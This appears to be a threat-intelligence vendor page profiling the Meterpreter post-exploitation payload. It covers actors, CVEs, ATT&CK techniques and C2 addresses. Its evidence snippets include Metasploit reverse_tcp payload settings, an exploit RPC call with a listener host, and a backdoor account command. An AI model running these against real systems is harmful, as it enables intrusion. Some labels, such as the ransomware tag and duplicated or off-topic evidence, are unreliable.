Skip to main content
Mallory
Back to malware
MalwareRansomwareUsed by 22 actorsExploits 11 CVEs

Meterpreter

Meterpreter is a Metasploit post-exploitation payload and backdoor used to provide interactive remote control of compromised systems. The content describes reverse shells and bind shells, including reverse_tcp and reverse_http variants, and notes that Meterpreter can be delivered as shellcode, DLL-based stagers, or additional payloads dropped by other malware. Reported behavior includes remote command execution, post-exploitation activity inside victim networks, use as a full remote toolset, and deployment after initial compromise for persistence, lateral movement, credential theft, and follow-on payload delivery. The content also notes in-memory execution via shellcode loaders, including execution through VirtualProtect and CreateThread, and references default use of TCP 4444 for reverse shell connectivity. Meterpreter is associated with Metasploit and is frequently observed alongside tools such as Cobalt Strike, Mimikatz, PsExec, and PowerShell.

Across the provided reporting, Meterpreter was used by multiple threat actors and intrusion sets, including TA505/Hive0065, Mustang Panda, FIN12, MuddyWater, Kimsuky, Cinnamon Tempest, and actors involved in OlympicDestroyer-related intrusions. It was also observed in ransomware-linked activity, including Black Basta-associated intrusion activity and RHYSIDA operators using SYSTEMBC to inject Meterpreter shellcode. Targeting in the content spans enterprise environments, healthcare, government, NGOs, political organizations, telecoms, universities, and South Korean IIS web servers. Infection and delivery vectors mentioned include spear-phishing documents with macros, malicious archives and LNK files, DLL sideloading, compromised web servers, shellcode loaders, malvertising-delivered payload chains, and exploitation of public-facing applications such as Atlassian Confluence.

High-confidence indicators and artifacts directly mentioned in the content include Meterpreter reverse shell connections to 91.214.124.20 and 91.214.124.25 in TA505 activity, a Meterpreter C2 at 43.156.50.76 in South Korean IIS server compromises, default listener port TCP 4444, and the JA3 fingerprint 5d65ea3fb1d4aa7d826733d2f2cbbb1d for Metasploit Meterpreter running on Linux. The content also references detection of Meterpreter-like DLL characteristics, use of Go-based Meterpreter by Kimsuky, and repeated observation of Meterpreter as a common commodity post-exploitation framework and C2 family in global intrusion reporting.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

EXPLOITED CVES

Vulnerabilities exploited

11 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

11 CVES
CVE-2022-31794Command Injection in Fujitsu ETERNUS CentricStor CS8000 Control Center (hw_view.php)

On the 6th of April 2022, NCC Group’s Fox-IT discovered two separate flaws in FUJITSU CentricStor Control Center V8.1 which allows an attacker to gain remote code execution on the appliance without prior authentication or authorization. These are tracked as CVE-2022-31794 and CVE-2022-31795

via ncc group researchnccgroup.com
CVE-2020-2555Oracle Coherence / WebLogic T3 Deserialization RCE (CVE-2020-2555)

'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' } ... 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }

via github webgithub.com
CVE-2022-31795Command Injection in Fujitsu ETERNUS CentricStor CS8000 grel.php

On the 6th of April 2022, NCC Group’s Fox-IT discovered two separate flaws in FUJITSU CentricStor Control Center V8.1 which allows an attacker to gain remote code execution on the appliance without prior authentication or authorization. These are tracked as CVE-2022-31794 and CVE-2022-31795

via ncc group researchnccgroup.com
CVE-2020-10189Unauthenticated RCE in Zoho ManageEngine Desktop Central getChartImageExploited in the wild

WICKED PANDA ... began 2020 by conducting a wide-ranging campaign focused on exploiting multiple vulnerabilities (CVE-2019-19781 and CVE-2020-10189) ... deployed Cobalt Strike and Meterpreter payloads

via crowdstrike bloggo.crowdstrike.com
CVE-2019-19781Directory Traversal and RCE in Citrix ADC/GatewayExploited in the wild

WICKED PANDA ... began 2020 by conducting a wide-ranging campaign focused on exploiting multiple vulnerabilities (CVE-2019-19781 and CVE-2020-10189) ... Upon successful exploitation, they deployed Cobalt Strike and Meterpreter payloads

via crowdstrike bloggo.crowdstrike.com
CVE-2021-34527PrintNightmare

It triggers on error messages indicating the print spooler failed to load a plug-in module, such as "meterpreter.dll," with error code 0x45A. | The following analytic detects driver load errors in the Windows PrintService Admin logs, specifically identifying issues related to CVE-2021-34527 (PrintNightmare). It triggers on error messages indicating the print spooler failed to load a plug-in module, such as "meterpreter.dll," with error code 0x45A.

via splunk researchresearch.splunk.com
CVE-2021-36260Command Injection in Hikvision Web Server /SDK/webLanguage

Metasploit uses printf to write the Meterpreter stager to disk in 20ish byte chunks (each exploit attempt must fit within a 26 byte buffer), which is quite slow.

via vulncheck blogvulncheck.com
CVE-2019-11510Pulse Secure Pulse Connect Secure Arbitrary File Read Vulnerability

Table 1: Filenames and hashes of files used by a threat actor Filename MD5 t.py (tied to scheduled task, python meterpreter reverse shell port 9090) ... g.py (tied to scheduled task, python meterpreter reverse shell port 8088) ...

via cisa certus-cert.cisa.gov
CVE-2022-47966Unauthenticated RCE in Zoho ManageEngine SAML SSOExploited in the wild

Analysts confirmed that nation-state advanced persistent threat (APT) actors exploited CVE-2022-47966 to gain unauthorized access to a public-facing application (Zoho ManageEngine ServiceDesk Plus), establish persistence, and move laterally through the network. This vulnerability allows for remote code execution on the ManageEngine application.

via cisa advisoriescisa.gov
CVE-2023-46604Apache ActiveMQ OpenWire Remote Code ExecutionExploited in the wild

A threat actor exploited CVE-2023-46604 on an internet-facing Apache ActiveMQ server... The threat actor was able to perform remote code execution (RCE) by using a Java Spring class and a custom Java Spring bean configuration XML file.

via dfir reportthedfirreport.com
CVE-2026-1731Pre-auth OS Command Injection RCE in BeyondTrust Remote Support and PRAExploited in the wild

Threat actors are actively exploiting a recently disclosed critical vulnerability, tracked as CVE-2026-1731 (CVSS score: 9.9), in BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA). The bug could allow an unauthenticated attacker to send specially crafted requests and run operating system commands remotely, without logging in.

via security affairssecurityaffairs.com
THREAT ACTORS

Groups observed using it

22 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Cobalt Group

Tools: SpicyOmelette, Cobalt Strike, Meterpreter, Mimikatz, CobtInt, ATMSpitter, Carbanak, Buhtrap, Cyst, Metasploit.

via secureworks threat profilessecureworks.com
Kimsuky

AhnLab reported that the Kimsuky group has used a Go language version of Meterpreter, and subsequent discoveries include additional Go-based malware like Troll Stealer and GoBear.

via virusbulletinvirusbulletin.com
SeedpuNK

AhnLab reported that the Kimsuky group has used a Go language version of Meterpreter, and subsequent discoveries include additional Go-based malware like Troll Stealer and GoBear.

via virusbulletinvirusbulletin.com
IndigoZebra

Cinnamon Tempest has used open-source tools including customized versions of the Iox proxy tool, NPS tunneling tool, Meterpreter, and a keylogger that uploads data to Alibaba cloud storage.

via mitre attack websiteattack.mitre.org
Cinnamon Tempest

Cinnamon Tempest has used open-source tools including customized versions of the Iox proxy tool, NPS tunneling tool, Meterpreter, and a keylogger that uploads data to Alibaba cloud storage.

via mitre attack websiteattack.mitre.org
Mustang Panda

Another type of stager used by Mustang Panda, some as recently as late 2021, are DLL-based implants that decode and execute Meterpreter reverse-HTTP payloads to download and execute even more payloads from the C2.

via talosintelligence otherblog.talosintelligence.com
MuddyWater

The hackers used well known tools, including Meterpreter, Mimikatz, Lazagne, Invoke-Obfuscation, and more.

via security affairssecurityaffairs.co
WIZARD SPIDER

The PowerShell-based EMPIRE post-exploitation framework was used by FIN12 nearly exclusively until mid-2019 when they began to also use Cobalt Strike (BEACON), and intermittently Metasploit (METERPRETER).

via web archiveweb.archive.org
Patchwork

“...open source toolset dependency with meterpreter and BeEF...”

via securelistsecurelist.com
APT41

"...they deployed Cobalt Strike and Meterpreter payloads to further interact with victims."

via crowdstrike bloggo.crowdstrike.com
YoroTrooper

For remote access, YoroTrooper has also deployed commodity malware, such as AveMaria/Warzone RAT, LodaRAT and Meterpreter.

via talos intelligence blogblog.talosintelligence.com
FIN10

FIN10 has used Meterpreter to enumerate users on remote systems.

via mitre attackattack.mitre.org
Transparent Tribe

"The Operation Transparent Tribe report suggested that Meterpreter samples were used as payloads in the campaign..."

via palo alto networks unit 42 blogunit42.paloaltonetworks.com
APT32

While all payloads can be dynamically updated, at the time of delivery, this task launched a COM scriptlet (“.sct” file extension) that downloaded and executed Meterpreter hosted on images.chinabytes[.]info.

via web archiveweb.archive.org
Ember Bear

Ember Bear has also used reverse TCP connections from Meterpreter installations to communicate back with C2 infrastructure.

via mitre attackattack.mitre.org
UNC2198

UNC2198 has used Cobalt Strike BEACON, Metasploit METERPRETER, KOADIC, and PowerShell EMPIRE offensive security tools during this phase as well.

via fireeyefireeye.com
REF9019

The unpacked shellcode is a Meterpreter payload from the offensive security framework, Metasploit... Meterpreter was observed being used to collect the SAM database using the hashdump module.

via elastic security labselastic.co
DragonSpark

When m6699.exe executes, the threat actor can establish a Meterpreter session for remote command execution.

via sentinelone labssentinelone.com
Salt Typhoon

“...utilizes commonly used remote control tools like Cobalt Strike, PlugX, or Meterpreter stagers interchangeably in various attack stages.”

via trend micro researchtrendmicro.com
Leviathan

Both initial infection vectors delivered first-stage downloader malware to targets. The downloaders retrieved XOR-encoded versions of Meterpreter shellcode.

via proofpoint threat insight blogproofpoint.com
Hydra Saiga

The IP also hosted a Meterpreter executable around the time this campaign was going on.

via vmray blogvmray.com
FIN7

"FIN7 used CARBANAK’s tinymet command to spawn Meterpreter instances and give unwitting operators access to targets..."

via mandiant threat intelligencecloud.google.com
MITRE ATT&CK

Techniques & procedures

32 distinct techniques documented for this family, organized by ATT&CK tactic.

T1588.002ToolEvidence1

The content repeatedly states that threat actors 'obtained,' 'acquired,' or 'used' publicly available, open-source, legitimate, or modified tools such as Mimikatz, Cobalt Strike, PsExec, Empire, Impacket, and many others.

Initial Access

3 techniques
T1190Exploit Public-Facing ApplicationEvidence1

rpc.call("module.execute", "exploit", "unix/webapp/thinkphp_rce", {"RHOSTS"=> "127.0.0.1", "RPORT"=> "80", "LHOST"=>"192.168.0.148", "LPORT"=>"4444"})

T1566PhishingEvidence1

Cisco Talos began observing the China-based threat actor Mustang Panda conducting phishing campaigns against European entities... Some phishing messages contain malicious lures masquerading as official European Union reports... Other phishing emails deliver fake 'official' Ukrainian government reports.

T1566.001Spearphishing AttachmentEvidence1

The threat actor heavily relies on sending lures via phishing emails to achieve initial infection. These lures often masquerade as legitimate documents of national and organizational interest to the targets.

Execution

11 techniques
T1053Scheduled Task/JobEvidence1

Windows operating systems provide a utility (schtasks.exe) which enables system administrators to execute a program or a script at a specific given date and time. This kind of behavior has been heavily abused by threat actors and red teams as a persistence mechanism.

T1053.005Scheduled TaskEvidence1

References https://attack.mitre.org/techniques/T1053/ ... The persistence technique of scheduled tasks can be implemented both manually and automatically.

T1059Command and Scripting InterpreterEvidence5
TacticExecution

if target.name == 'Windows' win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true }) win_obj.prepend('cmd.exe /c ') ... def execute_command(cmd, _opts = {}) cmd.prepend('/bin/sh -c ')

T1059.001PowerShellEvidence3
TacticExecution

include Msf::Exploit::Powershell ... win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })

T1059.003Windows Command ShellEvidence1
TacticExecution

win_obj.prepend('cmd.exe /c ')

T1059.004Unix ShellEvidence1
TacticExecution

def execute_command(cmd, _opts = {}) cmd.prepend('/bin/sh -c ')

T1059.005Visual BasicEvidence1
TacticExecution

The malicious macros contain two more components that are dropped to disk on the infected system.

T1203Exploitation for Client ExecutionEvidence2
TacticExecution

The SLMAIL 5.5 POP3 Server has a public vulnerability (CVE-2003-0264) based on a buffer overflow on the stack that can be triggered by abusing the parameter “password” when a user attempts the authentication process.

T1204.002Malicious FileEvidence1
TacticExecution

Social engineering: Disguising the initial executable as a legitimate document to trick the target into opening it, thereby starting the infection chain.

T1574Hijack Execution FlowEvidence1

This malicious DLL needs to be dropped in one of the folders that windows are loading DLL files. As it can be see below when the service restarted a Meterpreter session opened with SYSTEM privileges through DLL hijacking.

T1574.001DLLEvidence1

If these DLL’s doesn’t exist or are implemented in an insecure way (DLL’s are called without using a fully qualified path) then it is possible to escalate privileges by forcing the application to load and execute a malicious DLL file.

Persistence

5 techniques
T1053Scheduled Task/JobEvidence1

Windows operating systems provide a utility (schtasks.exe) which enables system administrators to execute a program or a script at a specific given date and time. This kind of behavior has been heavily abused by threat actors and red teams as a persistence mechanism.

T1053.005Scheduled TaskEvidence1

References https://attack.mitre.org/techniques/T1053/ ... The persistence technique of scheduled tasks can be implemented both manually and automatically.

T1136Create AccountEvidence1

Meterpreter バックドア、HTran ポートフォワーディングツールをインストールしたあと、攻撃者は攻撃対象のシステムに対し、持続性の維持および拠点確保のために net コマンドで攻撃者アカウントを作成した。... 2024.04.09 05:04:51 net user kr$ test123!@# /add

T1543.003Windows ServiceEvidence1

A Meterpreter reverser shell was used... it was installed as a service using the execution of an encoded PowerShell script... execute malicious services and persistence mechanisms, namely SDBbot RAT Loaders.

T1547.001Registry Run Keys / Startup FolderEvidence1

The stager begins by creating persistence for itself across reboots via the registry Run key...

T1053Scheduled Task/JobEvidence1

Windows operating systems provide a utility (schtasks.exe) which enables system administrators to execute a program or a script at a specific given date and time. This kind of behavior has been heavily abused by threat actors and red teams as a persistence mechanism.

T1053.005Scheduled TaskEvidence1

References https://attack.mitre.org/techniques/T1053/ ... The persistence technique of scheduled tasks can be implemented both manually and automatically.

T1055Process InjectionEvidence1

BUMBLEBEE has Rabbort.DLL embedded, using it for process injection... shi Injects task’s data into a new process... dij Injects task’s data into a new process.

T1543.003Windows ServiceEvidence1

A Meterpreter reverser shell was used... it was installed as a service using the execution of an encoded PowerShell script... execute malicious services and persistence mechanisms, namely SDBbot RAT Loaders.

T1547.001Registry Run Keys / Startup FolderEvidence1

The stager begins by creating persistence for itself across reboots via the registry Run key...

T1548Abuse Elevation Control MechanismEvidence1

In Windows environments when an application or a service is starting it looks for a number of DLL’s in order to function properly... then it is possible to escalate privileges by forcing the application to load and execute a malicious DLL file.

Stealth

5 techniques
T1055Process InjectionEvidence1

BUMBLEBEE has Rabbort.DLL embedded, using it for process injection... shi Injects task’s data into a new process... dij Injects task’s data into a new process.

T1564.004NTFS File AttributesEvidence1
TacticStealth

Alternate data streams (ADS) are a little-known but potent feature of the NTFS file system that enable data to be hidden within files—without altering their visible size or content. | Cybercriminals are increasingly using ADS to hide malicious payloads, tools, or data in a way that bypasses traditional detection methods.

T1574Hijack Execution FlowEvidence1

This malicious DLL needs to be dropped in one of the folders that windows are loading DLL files. As it can be see below when the service restarted a Meterpreter session opened with SYSTEM privileges through DLL hijacking.

T1574.001DLLEvidence1

If these DLL’s doesn’t exist or are implemented in an insecure way (DLL’s are called without using a fully qualified path) then it is possible to escalate privileges by forcing the application to load and execute a malicious DLL file.

T1620Reflective Code LoadingEvidence1
TacticStealth

The implant will download this file directly into memory. It then sets the area of memory via the VirtualProtect Windows API call to executable by passing in 0x40, and then executes it via the CreateThread call... Unlike the loader, the implant does not write the downloaded shellcode file to disk before execution.

Discovery

3 techniques
T1046Network Service DiscoveryEvidence2
TacticDiscovery

Use in conjunction with other contextual indicators, for example detect Network discovery and Lateral movement attempts by unusual hassh such as those used by Paramiko, Powershell, Ruby, Meterpreter, Empire.

T1082System Information DiscoveryEvidence1
TacticDiscovery

攻撃者は、Web サーバーに Meterpreter バックドアをインストールする前に ipconfig、systeminfo など、多種の正常なユーティリティを実行していた。これは、攻撃者が IIS モジュールマルウェアのインストール前に攻撃対象の情報を収集するための目的と見られる。

T1087Account DiscoveryEvidence1
TacticDiscovery

The commands executed were used for discovery purposes, listing members of privileged groups and network information.

Lateral Movement

3 techniques
T1021Remote ServicesEvidence1

GOLD KINGSWOOD is a cybercriminal group that uses tactics more commonly associated with government-sponsored threat actors to infiltrate the internal networks of financial institutions around the globe.

T1021.002SMB/Windows Admin SharesEvidence1

The actor used the initially compromised system to escalate privileges and move laterally across additional systems on the network.

T1570Lateral Tool TransferEvidence1

Use in conjunction with other contextual indicators, for example detect Network discovery and Lateral movement attempts by unusual hassh such as those used by Paramiko, Powershell, Ruby, Meterpreter, Empire.

T1071Application Layer ProtocolEvidence4

"via_payload"=>"payload/linux/x64/meterpreter/reverse_tcp", "desc"=>"Meterpreter", "tunnel_local"=>"192.168.0.148:4444"

T1090ProxyEvidence1

Meterpreter バックドアのインストール後、攻撃者はさらに w3wp.exe プロセスを通じて HTran ユーティリティをインストールした。HTran は Github にソースコードが公開されているポートフォワーディングツールである。

T1105Ingress Tool TransferEvidence7

This script then executes within the context of the Android application and can potentially instruct the device to download a malicious payload from the attacker’s server, providing access to the user’s phone with the privileges of the application.

T1219Remote Access ToolsEvidence2

SDBbot RAT has been observed... This malware features remote-access capabilities, accepts commands from a C&C server such as video recording, and has the ability to exfiltrate data from the victimized devices and networks.

INDICATORS OF COMPROMISE

IOCs tracked for this family

79 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
29 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
36 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
14 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app2 months ago
ip.v4●●●●●●●●●●●●View more in app3 months ago
uri●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
hash.sha256●●●●●●●●●●●●View more in app3 months ago
hash.sha256●●●●●●●●●●●●View more in app3 months ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching79

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution22

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities11

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping32

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.